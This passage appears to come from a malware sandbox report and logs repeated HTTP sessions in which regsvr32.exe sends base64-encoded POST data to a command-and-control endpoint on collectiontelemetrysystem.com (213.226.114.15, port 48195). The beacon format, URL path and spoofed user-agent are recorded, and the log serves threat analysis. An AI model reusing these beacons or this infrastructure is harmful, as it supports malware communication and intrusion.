5	192.168.2.3	49818	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:09.951570988 CEST	3968	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:10.171833992 CEST	3968	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:09 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49892	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:34.630176067 CEST	12089	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:34.864223003 CEST	12090	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:34 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49893	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:35.114439964 CEST	12091	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:35.317403078 CEST	12091	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:35 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49894	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:35.550050020 CEST	12092	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:35.782027006 CEST	12093	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:35 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49895	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:36.058283091 CEST	12094	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:39.272028923 CEST	12109	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:35 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49901	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:39.510076046 CEST	12315	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:39.733870983 CEST	12739	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:39 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49902	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:39.983103037 CEST	12942	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:40.218674898 CEST	12943	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:39 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49903	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:40.452922106 CEST	12944	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:40.685600042 CEST	12944	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:40 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49904	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:40.929761887 CEST	12945	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:41.149472952 CEST	12946	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:40 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49905	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:41.378623009 CEST	12947	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
Jun 16, 2022 20:32:41.611398935 CEST	12947	IN	HTTP/1.1 200 OK Date: Thu, 16 Jun 2022 18:32:41 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.4 X-Powered-By: PHP/8.1.4 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 65 79 4a 48 63 43 49 36 49 6e 70 42 59 7a 30 69 66 51 3d 3d Data Ascii: eyJHcCI6InpBYz0ifQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49906	213.226.114.15	48195	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
Jun 16, 2022 20:32:41.848130941 CEST	12949	OUT	POST /cAUtfkUDaptk/ZRSeiy/requets/index.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.5197; ms-office; MSOffice 16) Host: collectiontelemetrysystem.com Content-Length: 231 Content-Type: application/x-www-form-urlencoded Accept-Language: en-RUS Data Raw: 65 76 3d 65 79 49 7a 62 54 64 34 49 6a 6f 69 4d 6e 68 44 57 6b 64 4d 61 7a 30 69 4c 43 4a 4b 59 69 49 36 49 6a 64 42 55 31 4a 42 5a 7a 30 39 49 69 77 69 54 6c 4e 6c 65 55 52 59 49 6a 6f 69 4d 55 4e 6c 55 6b 4e 4b 54 33 6f 69 4c 43 4a 57 65 69 49 36 49 6a 4a 56 4e 6d 39 4b 63 6a 5a 47 62 57 64 4d 51 54 68 32 51 31 49 76 65 48 46 78 5a 30 4d 34 4f 55 68 44 53 32 59 76 53 6b 78 45 54 45 74 46 53 55 73 77 63 48 64 70 64 57 73 39 49 69 77 69 59 6b 34 69 4f 69 4a 36 51 57 4d 39 49 69 77 69 59 30 4a 47 49 6a 6f 69 4d 33 70 6d 57 6b 34 72 55 45 64 32 51 79 74 68 64 56 70 79 64 6e 52 44 4d 31 46 70 61 6e 63 39 49 69 77 69 64 31 41 32 49 6a 6f 69 4e 30 56 59 59 56 4a 6d 62 6d 49 69 66 51 3d 3d Data Ascii: ev=eyIzbTd4IjoiMnhDWkdMaz0iLCJKYiI6IjdBU1JBZz09IiwiTlNleURYIjoiMUNlUkNKT3oiLCJWeiI6IjJVNm9KcjZGbWdMQTh2Q1IveHFxZ0M4OUhDS2YvSkxETEtFSUswcHdpdWs9IiwiYk4iOiJ6QWM9IiwiY0JGIjoiM3pmWk4rUEd2QythdVpydnRDM1Fpanc9Iiwid1A2IjoiN0VYYVJmbmIifQ==
